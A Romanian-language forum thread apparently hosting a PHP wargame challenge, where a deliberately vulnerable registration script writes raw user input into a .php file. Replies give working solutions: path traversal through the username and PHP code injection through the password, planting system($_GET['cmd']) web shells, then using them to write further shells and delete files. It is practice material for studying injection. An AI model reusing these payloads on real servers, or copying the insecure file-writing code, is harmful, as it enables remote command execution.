Jump to content
SirGod

[PHP] [Moderate] - Hack me

Recommended Posts

Posted

Fisiere pe server: index.php.

Foldere pe server: /users.

.htaccess din /users

Codul din index.php

<?php

error_reporting(0);

if(isset($_POST['submit']))

{

$name=$_POST['name'];
$record = 'users/'.$name.'_data.php';
$fh = fopen($record, 'w') or die("Can not open file!");
$tag='<?php "';
fwrite($fh, $tag);
$reguser = 'Username = ' .$_POST['name'];
fwrite($fh, $reguser);
$reguser2 = 'Password = ' .$_POST['password'];
fwrite($fh, $reguser2);
$tag2='" ?>';
fwrite($fh, $tag2);
fclose($fh);
echo 'Registered';

}

else

{

echo '<html>'.
'<form method="POST" action=""> '.
'<input type="text" name="name">'.
'<input type="password" name="password">'.
'<input type="submit" name="submit" value="submit">'.
'</form>'.
'</html>';

}

?>

In folderul users avem htaccess (deny from all) deci nu il putem accesa sa ii vedem continutul si nici fisierele nu putem sa le accesam.

Ce trebuie sa faceti:

In directorul root, in acelasi loc cu index.php, plasati cumva un fisier cu numele vostru care sa va poata permite executarea de comenzi preluate dintr-o variabila preluata prin $_GET.

Posted

@loki: Gresit. Iti va creea fisierul in folderul users, pe care nu il poti accesa pentru ca ai .htaccess, deci nu ai ce face cu el.

@pax: Ai prins ideea, dar vezi ca ce injectezi tu nu merge. O sa iti dea o eroare cand accesezi fisierul:

Parse error: parse error, expecting `T_STRING' or `T_VARIABLE' or `T_NUM_STRING' in C:\wamp\www\wargames\pax_data.php on line 1

Trebuie sa fi atent ce cod injectezi. Modul in care salvez datele de inregistrare l-am facut ca sa fie putin mai dificil. Si nu poti accesa /users/ , ai acces web nu consola, nu inteleg ce vrei sa arati cu alea.

Sa explic pe scurt:

Nu aveti acces la site decat prin WWW. Nu aveti consola. Nu puteti face NIMIC ca sa accesati folderul users pentru ca nu puteti trece peste htaccess. Si inca ceva, de care nu ati tinut cont. Am zis sa creati un fisier cu numele vostru nu numelevostru_data.php . Nu e mare branza, doar o mica schimbare de cod care trebuie injectat.

Posted (edited)

Windows httpd server..

1. Creem un shell langa directorul users, numit shell_data.php

Username>> ../shell

Password>> "; ?><?php system($_GET['cmd']); //

2. shell_data.php?cmd=echo "<?php system($_GET['cmd']); ?>" > fitty.php

3. fitty.php?cmd=del shell_data.php

4. fitty.php?cmd=dir

>> Avem shell-ul fitty.php <<

Pa.

Edited by Fitty
Posted

Eh, merge si asa, dar merge si decat cu injectare o singura data, ceva de genu:

User: ../

Pass:


"?><?php
$code = "evil.php";
$handler = fopen($code, 'w') or die("cant open file");
$evil = "<?php system(\$_GET['cmd']); ?>";
fwrite($handler, $evil);
fclose($handler);
?>

Apoi accesam _data.php si ni se creeaza fisierul.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...